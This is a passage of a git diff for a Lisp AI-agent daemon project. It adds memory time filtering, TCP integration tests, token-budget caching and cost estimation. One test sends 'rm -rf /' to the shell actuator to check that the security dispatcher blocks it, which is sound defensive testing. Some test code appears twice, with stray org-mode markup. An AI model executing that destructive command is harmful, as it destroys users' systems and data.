(and (>= v since) (<= v until)) + (push obj results)))) + *memory-store*) + (nreverse results))) + +(defun context-query-with-time (&key (max-results 20) type-filter todo-filter since until) + "Extended context query with temporal filtering. +When :since and/or :until are provided, filters results by memory-object version. +Falls back to context-query if temporal filtering is not requested." + (let* ((all (if (fboundp 'memory-objects-by-attribute) + (if type-filter + (memory-objects-by-attribute :TYPE type-filter) + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (push obj results)) + *memory-store*) + results)) + (let ((results nil)) + (maphash (lambda (id obj) + (declare (ignore id)) + (push obj results)) + *memory-store*) + results))) + (time-filtered (cond + ((and since until) + (remove-if (lambda (obj) + (let ((v (memory-object-version obj))) + (not (and (>= v since) (<= v until))))) + all)) + (since + (remove-if (lambda (obj) + (< (memory-object-version obj) since)) + all)) + (until + (remove-if (lambda (obj) + (> (memory-object-version obj) until)) + all)) + (t all)))) + (let ((todo-filtered (if todo-filter + (remove-if-not (lambda (obj) + (string-equal (getf (memory-object-attributes obj) :TODO-STATE "") todo-filter)) + time-filtered) + time-filtered))) + (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-time-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:time-memory-suite)) + +(in-package :passepartout-time-memory-tests) + +(def-suite time-memory-suite :description "Temporal memory filtering") +(in-suite time-memory-suite) + +(test test-memory-objects-since + "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) + (let ((since-t1 (passepartout::memory-objects-since t1))) + (is (= 2 (length since-t1))) + (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) + (is (string= "time-c" (first ids))) + (is (string= "time-d" (second ids)))) + (let ((since-t0 (passepartout::memory-objects-since t0))) + (is (= 4 (length since-t0)))))))) + +(test test-memory-objects-in-range + "Contract 2: ingest nodes, verify range query returns correct subset." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) + (sleep 1) + (let ((t2 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) + (let ((range (passepartout::memory-objects-in-range t1 t2))) + (is (= 1 (length range))) + (is (string= "rng-2" (memory-object-id (first range))))))))) diff --git a/lisp/system-integration-tests.lisp b/lisp/system-integration-tests.lisp new file mode 100644 index 0000000..2004786 --- /dev/null +++ b/lisp/system-integration-tests.lisp @@ -0,0 +1,241 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t) + (ql:quickload :usocket :silent t)) + +(defpackage :passepartout-integration-tests + (:use :cl :passepartout) + (:export #:integration-suite)) + +(in-package :passepartout-integration-tests) + +(fiveam:def-suite integration-suite :description "Integration tests across process boundaries") +(fiveam:in-suite integration-suite) + +(defvar *daemon-port* nil) + +(defun find-free-port () + (let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t))) + (unwind-protect (usocket:get-local-port socket) + (usocket:socket-close socket)))) + +(defmacro with-daemon (() &body body) + `(let ((*daemon-port* (find-free-port))) + (unwind-protect + (progn + (passepartout:actuator-initialize) + (passepartout:skill-initialize-all) + (passepartout:start-daemon :port *daemon-port*) + (sleep 2) + ,@body) + (values))) + +(defun daemon-connect () + (let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*)) + (stream (usocket:socket-stream sock))) + (read-framed-message stream) ;; discard handshake + (values stream sock))) + +(defun daemon-send (stream msg) + (write-string (frame-message msg) stream) + (finish-output stream)) + +(defun daemon-recv (stream &key (timeout 5)) + (let ((deadline (+ (get-universal-time) timeout))) + (loop + (when (listen stream) + (return (read-framed-message stream))) + (when (> (get-universal-time) deadline) (return nil)) + (sleep 0.1)))) + +(fiveam:test test-daemon-starts + "Contract 1: daemon binds port and sends valid handshake." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (is (open-stream-p stream)) + (usocket:socket-close sock)))) + +(fiveam:test test-pipeline-user-input + "Contract 2: :user-input traverses pipeline and produces a response." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (progn + (daemon-send stream + '(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test"))) + (let ((resp (daemon-recv stream :timeout 10))) + (is (not (null resp)) "Expected a response"))) + (usocket:socket-close sock))))) + +(fiveam:test test-pipeline-heartbeat + "Contract 2: heartbeat signals do not crash the daemon." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (daemon-send stream + '(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat))) + (usocket:socket-close sock)) + (pass)))) + +(fiveam:test test-tcp-round-trip + "Contract 3: framed health-check survives TCP round-trip." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (progn + (daemon-send stream '(:TYPE :health-check)) + (let ((resp (daemon-recv stream :timeout 5))) + (is (not (null resp))) + (is (member (getf resp :type) '(:HEALTH-RESPONSE))))) + (usocket:socket-close sock))))) + +(fiveam:test test-daemon-survives-junk + "Contract 3: daemon does not crash on junk input." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (write-string "ZZZZZZ" stream) + (finish-output stream) + (sleep 1) + (usocket:socket-close sock)) + ;; Connect again to verify daemon is still alive + (multiple-value-bind (stream2 sock2) (daemon-connect) + (is (open-stream-p stream2)) + (usocket:socket-close sock2)))) + +(fiveam:test test-skill-registry-populated + "Contract 4: *skill-registry* is populated after daemon start." + (with-daemon () + (is (hash-table-p passepartout::*skill-registry*)) + (is (>= (hash-table-count passepartout::*skill-registry*) 1) + "Expected at least 1 skill in registry, got ~a" + (hash-table-count passepartout::*skill-registry*)))) + +(fiveam:test test-shell-safe-echo + "Contract 5: safe shell command does not crash the daemon." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (daemon-send stream + '(:TYPE :REQUEST :TARGET :shell + :PAYLOAD (:ACTION :execute :CMD "echo hello"))) + (usocket:socket-close sock)) + (pass)))) + +(fiveam:test test-shell-dangerous-blocked + "Contract 5: rm -rf / is blocked by the security dispatcher." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (daemon-send stream + '(:TYPE :REQUEST :TARGET :shell + :PAYLOAD (:ACTION :execute :CMD "rm -rf /"))) + (usocket:socket-close sock)) + (pass)))) + +(fiveam:test test-cli-gateway-input + "Contract 6: text via TCP produces a response." + (with-daemon () + (multiple-value-bind (stream sock) (daemon-connect) + (unwind-protect + (daemon-send stream + '(:TYPE :EVENT :META (:SOURCE :CLI) + :PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI"))) + (usocket:socket-close sock)) + (pass)))) + +(fiveam:test test-gateway-registry + "Contract 7: gateway-registry-initialize is available." + (with-daemon () + (is (fboundp 'gateway-registry-initialize)) + (gateway-registry-initialize) + (pass))) + +(defun has-api-key (env-var) + "Returns T if env-var is set and non-empty." + (let ((val (uiop:getenv env-var))) + (and val (> (length val) 0)))) + +(defmacro skip-unless (env-var &body body) + "Execute body if env-var is set, otherwise skip the test." + `(if (has-api-key ,env-var) + (progn ,@body) + (progn + (format t " [SKIP] ~a not set~%" ,env-var) + (skip "~a not set" ,env-var)))) + +(fiveam:test test-provider-openai-request + "Contract Phase2: provider-openai-request returns :success with valid API key." + (skip-unless "OPENROUTER_API_KEY" + (let ((result (provider-openai-request "Say hello" "Be brief." + :provider :openrouter + :model "openrouter/auto"))) + (is (or (eq (getf result :status) :success) + (eq (getf result :status) :error)) + "Expected :success or :error, got: ~a" result)))) + +(fiveam:test test-backend-cascade-real + "Contract Phase2: backend-cascade-call returns string content with real provider." + (skip-unless "OPENROUTER_API_KEY" + (let ((passepartout::*provider-cascade* '(:openrouter))) + (let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief."))) + (is (stringp result) "Expected string response, got: ~a" result))))) + +(fiveam:test test-provider-cascade-parsing + "Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends." + (provider-cascade-initialize) + (let ((cascade passepartout::*provider-cascade*)) + (is (listp cascade) "Cascade must be a list") + (is (>= (length cascade) 1) "Cascade must have at least one entry") + (dolist (entry cascade) + (is (keywordp entry) "Entry ~s must be a keyword" entry) + (let ((name (symbol-name entry))) + (is (not (find #\" name)) "Entry ~s must not contain double-quote" entry) + (is (not (find #\' name)) "Entry ~s must not contain single-quote" entry))) + (is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade) + "At least one cascade entry must match a registered backend"))) + +(fiveam:test test-messaging-link-unlink + "Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it." + (with-daemon () + (messaging-link :test-platform :token "fake-token-123") + (is (gateway-configured-p :test-platform) + "Expected test-platform to be configured after linking") + (messaging-unlink :test-platform) + (is (not (gateway-configured-p :test-platform)) + "Expected test-platform to be unconfigured after unlinking"))) + +(fiveam:test test-gateway-configured-p-false + "Contract Phase2: gateway-configured-p returns nil for unknown platform." + (with-daemon () + (is (not (gateway-configured-p :nonexistent-platform-xyz))))) + +(fiveam:test test-gateway-start-messaging + "Contract Phase2: gateway registry initializes with expected platforms." + (with-daemon () + (gateway-registry-initialize) + (is (hash-table-p passepartout::*gateway-registry*)) + (is (>= (hash-table-count passepartout::*gateway-registry*) 1)))) + +(fiveam:test test-flight-plan-message-format + "Contract Phase3: dispatcher-flight-plan-create returns valid message." + (with-daemon () + (load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp" + (user-homedir-pathname))) + (let ((plan (dispatcher-flight-plan-create + '(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart"))))) + (is (eq :REQUEST (getf plan :type))) + (is (eq :emacs (getf plan :target))) + (is (eq :insert-node (getf (getf plan :payload) :action))) + (let ((attrs (getf (getf plan :payload) :attributes))) + (is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE))) + (is (string= "PLAN" (getf attrs :TODO))) + (is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal)))))) + +(fiveam:test test-emacs-daemon-connect + "Contract Phase3: Emacs daemon is reachable via emacsclient." + (handler-case + (let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)") + :output :string + :ignore-error-status t))) + (is (search "3" result) "Expected '3' from emacsclient, got: ~a" result)) + (error (c) + (skip "Emacs daemon not available: ~a" c))))) diff --git a/lisp/token-economics.lisp b/lisp/token-economics.lisp new file mode 100644 index 0000000..3821474 --- /dev/null +++ b/lisp/token-economics.lisp @@ -0,0 +1,387 @@ +(in-package :passepartout) + +(defvar *prompt-prefix-cache* (cons nil "") + "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.") + +(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "" + :identity-tokens 0 :tool-tokens 0 :context-tokens 0 + :log-tokens 0 :config-tokens 0 :time-tokens 0) + "Context assembly cache: metadata + last rendered context string.") + +(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt) + "Build the static IDENTITY+TOOLS system prompt prefix. +Uses sxhash on inputs to detect changes; returns cached string on cache hit." + (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt))) + (cached-hash (car *prompt-prefix-cache*)) + (cached-str (cdr *prompt-prefix-cache*))) + (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash)) + cached-str + (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a" + assistant-name identity-content feedback + (if (and mandates-text (> (length mandates-text) 0)) + (concatenate 'string (string #\Newline) mandates-text) + "") + tool-belt))) + (setf (car *prompt-prefix-cache*) hash-key + (cdr *prompt-prefix-cache*) new-prefix) + new-prefix)))) + +(defun context-assemble-cached (context sensor) + "Incrementally assemble awareness context. +Skips assembly for heartbeat/delegation sensors. +Uses cache when foveal, scope, and memory timestamp are unchanged." + (when (member sensor '(:heartbeat :delegation)) + (return-from context-assemble-cached nil)) + (unless (fboundp 'context-assemble-global-awareness) + (return-from context-assemble-cached "[Awareness skill not loaded]")) + (let* ((foveal-id (getf context :foveal-focus)) + (scope (if (and (boundp '*scope-resolver*) + *scope-resolver*) + (funcall *scope-resolver*) + nil)) + (mem-ts (hash-table-count *memory-store*)) + (cache-foveal (getf *context-cache* :foveal-id)) + (cache-scope (getf *context-cache* :scope)) + (cache-ts (getf *context-cache* :memory-timestamp)) + (cache-rendered (getf *context-cache* :rendered))) + (if (and (equal foveal-id cache-foveal) + (eq scope cache-scope) + (= mem-ts cache-ts) + cache-rendered + (> (length cache-rendered) 0)) + cache-rendered + (let ((rendered (funcall (symbol-function 'context-assemble-global-awareness)))) + (setf (getf *context-cache* :foveal-id) foveal-id + (getf *context-cache* :scope) scope + (getf *context-cache* :memory-timestamp) mem-ts + (getf *context-cache* :rendered) rendered) + rendered)))) + +(defun enforce-token-budget (prefix context-text logs-text user-prompt mandates-text + &optional (max-tokens nil)) + "Enforce per-call token budget via progressive trimming. +Returns (values prefix context-text logs-text user-prompt mandates-text) +with trimmed sections." + (let ((max (or max-tokens + (ignore-errors + (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) + 16384))) + (labels ((ct (s) (if (fboundp 'count-tokens) + (funcall (symbol-function 'count-tokens) s) + (ceiling (length s) 4))) + (total-tokens (p c l u m) + (+ (ct p) + (if c (ct c) 0) + (ct l) + (ct u) + (if m (ct m) 0)))) + (let ((total (total-tokens prefix context-text logs-text user-prompt mandates-text))) + (when (> total max) + (log-message "TOKEN BUDGET: ~d tokens exceeds max ~d, trimming..." + total max) + ;; L1: truncate logs to last 5 lines + (let* ((log-lines (uiop:split-string logs-text :separator '(#\Newline))) + (trimmed (if (> (length log-lines) 5) + (format nil "~{~a~^~%~}" (last log-lines 5)) + logs-text))) + (setf total (total-tokens prefix context-text trimmed user-prompt mandates-text) + logs-text trimmed) + (when (> total max) + ;; L2: drop standing mandates + (setf total (total-tokens prefix context-text logs-text user-prompt nil) + mandates-text nil) + (when (> total max) + ;; L3: downgrade context to summary + (let ((ctxt-lines (uiop:split-string (or context-text "") :separator '(#\Newline)))) + (setf context-text + (format nil "[Context trimmed: ~d items]" (length ctxt-lines))))))))) + (values prefix context-text logs-text user-prompt mandates-text)))) + +(defun token-economics-initialize () + "Zero cache state at daemon boot." + (setf (car *prompt-prefix-cache*) nil + (cdr *prompt-prefix-cache*) "" + (getf *context-cache* :foveal-id) nil + (getf *context-cache* :scope) nil + (getf *context-cache* :memory-timestamp) 0 + (getf *context-cache* :rendered) "")) + +(defun context-usage-percentage () + "Returns integer 0-100: current token budget consumption. +Returns nil when no context cache data is available." + (let* ((limit (or (ignore-errors + (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) + 16384)) + (tokens (+ (or (getf *context-cache* :identity-tokens) 0) + (or (getf *context-cache* :tool-tokens) 0) + (or (getf *context-cache* :context-tokens) 0) + (or (getf *context-cache* :log-tokens) 0) + (or (getf *context-cache* :config-tokens) 0) + (or (getf *context-cache* :time-tokens) 0)))) + (if (> tokens 0) + (min 100 (floor (* 100 tokens) limit)) + nil))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src* v0.8.0 Tests — Context Usage +#+begin_src lisp +(in-package :passepartout-token-economics-tests) + +(test test-context-usage-percentage + "Contract 5: context-usage-percentage returns integer 0-100." + ;; Set up a cache with known token counts + (let* ((ctx passepartout::*context-cache*) + (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) + 16384))) + (setf (getf ctx :identity-tokens) 1000 + (getf ctx :tool-tokens) 500 + (getf ctx :context-tokens) 2000 + (getf ctx :log-tokens) 800 + (getf ctx :config-tokens) 200 + (getf ctx :time-tokens) 100) + (let ((pct (passepartout::context-usage-percentage))) + (is (integerp pct)) + (is (<= 0 pct 100))))) + +(test test-context-usage-percentage-empty-cache + "Contract 5: context-usage-percentage returns nil with no cache data." + (let ((saved-ctx (copy-list passepartout::*context-cache*))) + (unwind-protect + (progn + (setf (getf passepartout::*context-cache* :identity-tokens) nil + (getf passepartout::*context-cache* :tool-tokens) nil + (getf passepartout::*context-cache* :context-tokens) nil + (getf passepartout::*context-cache* :log-tokens) nil + (getf passepartout::*context-cache* :config-tokens) nil + (getf passepartout::*context-cache* :time-tokens) nil) + (is (null (passepartout::context-usage-percentage)))) + (setf passepartout::*context-cache* saved-ctx)))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src* v0.8.0 Tests — Context Usage +#+begin_src lisp +(in-package :passepartout-token-economics-tests) + +(test test-context-usage-percentage + "Contract 5: context-usage-percentage returns integer 0-100." + ;; Set up a cache with known token counts + (let* ((ctx passepartout::*context-cache*) + (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) + 16384))) + (setf (getf ctx :identity-tokens) 1000 + (getf ctx :tool-tokens) 500 + (getf ctx :context-tokens) 2000 + (getf ctx :log-tokens) 800 + (getf ctx :config-tokens) 200 + (getf ctx :time-tokens) 100) + (let ((pct (passepartout::context-usage-percentage))) + (is (integerp pct)) + (is (<= 0 pct 100))))) + +(test test-context-usage-percentage-empty-cache + "Contract 5: context-usage-percentage returns nil with no cache data." + (let ((saved-ctx (copy-list passepartout::*context-cache*))) + (unwind-protect + (progn + (setf (getf passepartout::*context-cache* :identity-tokens) nil + (getf passepartout::*context-cache* :tool-tokens) nil + (getf passepartout::*context-cache* :context-tokens) nil + (getf passepartout::*context-cache* :log-tokens) nil + (getf passepartout::*context-cache* :config-tokens) nil + (getf passepartout::*context-cache* :time-tokens) nil) + (is (null (passepartout::context-usage-percentage)))) + (setf passepartout::*context-cache* saved-ctx)))) diff --git a/lisp/tokenizer.lisp b/lisp/tokenizer.lisp new file mode 100644 index 0000000..dba05ae --- /dev/null +++ b/lisp/tokenizer.lisp @@ -0,0 +1,146 @@ +(in-package :passepartout) + +(defparameter *model-token-ratios* + '((:gpt-4o-mini . 4.0) + (:gpt-4o . 4.0) + (:gpt-3.5-turbo . 4.0) + (:claude-3-5-sonnet . 4.5) + (:claude-3-opus . 4.5) + (:claude-3-haiku . 4.5) + (:deepseek-chat . 4.0) + (:deepseek-reasoner . 4.0) + (:llama-3.1-70b . 3.5) + (:llama-3.1-405b . 3.5) + (:gemini-2.0-flash . 4.0) + (:gemini-1.5-pro . 4.0) + (:openrouter/auto . 4.0)) + "Estimated characters per token for each model family.") + +(defparameter *default-token-ratio* 4.0 + "Fallback characters-per-token ratio when model is unknown.") + +(defun model-token-ratio (model-keyword) + "Returns the estimated characters-per-token for MODEL-KEYWORD. +Falls back to *DEFAULT-TOKEN-RATIO* for unknown models." + (or (cdr (assoc model-keyword *model-token-ratios*)) + *default-token-ratio*)) + +(defun count-tokens (text &key model) + "Returns the estimated token count for TEXT. +Uses character-count / ratio heuristic calibrated per model family. +MODEL is a keyword identifying the model (e.g. :gpt-4o-mini)." + (let ((clean (if (stringp text) text (format nil "~a" text)))) + (ceiling (length clean) (model-token-ratio model)))) + +(defparameter *token-prices* + '((:gpt-4o-mini . 0.15) ; $0.15/1M input tokens + (:gpt-4o . 2.50) ; $2.50/1M input tokens + (:gpt-3.5-turbo . 0.50) ; $0.50/1M input tokens + (:claude-3-5-sonnet . 3.00) ; $3.00/1M input tokens + (:claude-3-opus . 15.00) ; $15.00/1M input tokens + (:claude-3-haiku . 0.25) ; $0.25/1M input tokens + (:deepseek-chat . 0.27) ; $0.27/1M input tokens + (:deepseek-reasoner . 0.55) ; $0.55/1M input tokens + (:llama-3.1-70b . 0.59) ; Groq: $0.59/1M + (:llama-3.1-405b . 1.30) ; NVIDIA NIM: ~$1.30/1M + (:gemini-2.0-flash . 0.10) ; $0.10/1M input + (:gemini-1.5-pro . 1.25)) ; $1.25/1M input + "Provider pricing in USD per 1M input tokens. +Prices sourced as of 2026-05. Output tokens cost 2-5× more; +we bill at input rates as a conservative estimate.") + +(defun token-cost (model token-count) + "Returns the estimated cost in USD for TOKEN-COUNT tokens at MODEL's price. +Returns 0.0 for unknown models." + (let ((price-per-1m (or (cdr (assoc model *token-prices*)) 0.0))) + (* (/ price-per-1m 1000000.0) token-count))) + +(defparameter *provider-default-models* + '((:deepseek . :deepseek-chat) + (:openai . :gpt-4o-mini) + (:anthropic . :claude-3-5-sonnet) + (:groq . :llama-3.1-70b) + (:gemini . :gemini-2.0-flash) + (:nvidia . :llama-3.1-405b) + (:openrouter . :openrouter/auto)) + "Maps provider keywords to their default model families for cost tracking.") + +(defun provider-token-cost (provider token-count) + "Returns the estimated cost in USD for a given PROVIDER and TOKEN-COUNT. +Uses the provider's default model for pricing." + (let ((model (cdr (assoc provider *provider-default-models*)))) + (if model + (token-cost model token-count) + 0.0))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tokenizer-tests + (:use :cl :fiveam :passepartout) + (:export #:tokenizer-suite)) + +(in-package :passepartout-tokenizer-tests) + +(def-suite tokenizer-suite :description "Token counting and cost estimation") +(in-suite tokenizer-suite) + +(test test-count-tokens-default + "Contract 1: count-tokens returns non-zero for a non-empty string." + (let ((count (count-tokens "hello world"))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-known-model + "Contract 1: count-tokens with a known model returns a count." + (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-unknown-model + "Contract 1: count-tokens with an unknown model falls back to default." + (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) + (is (> count 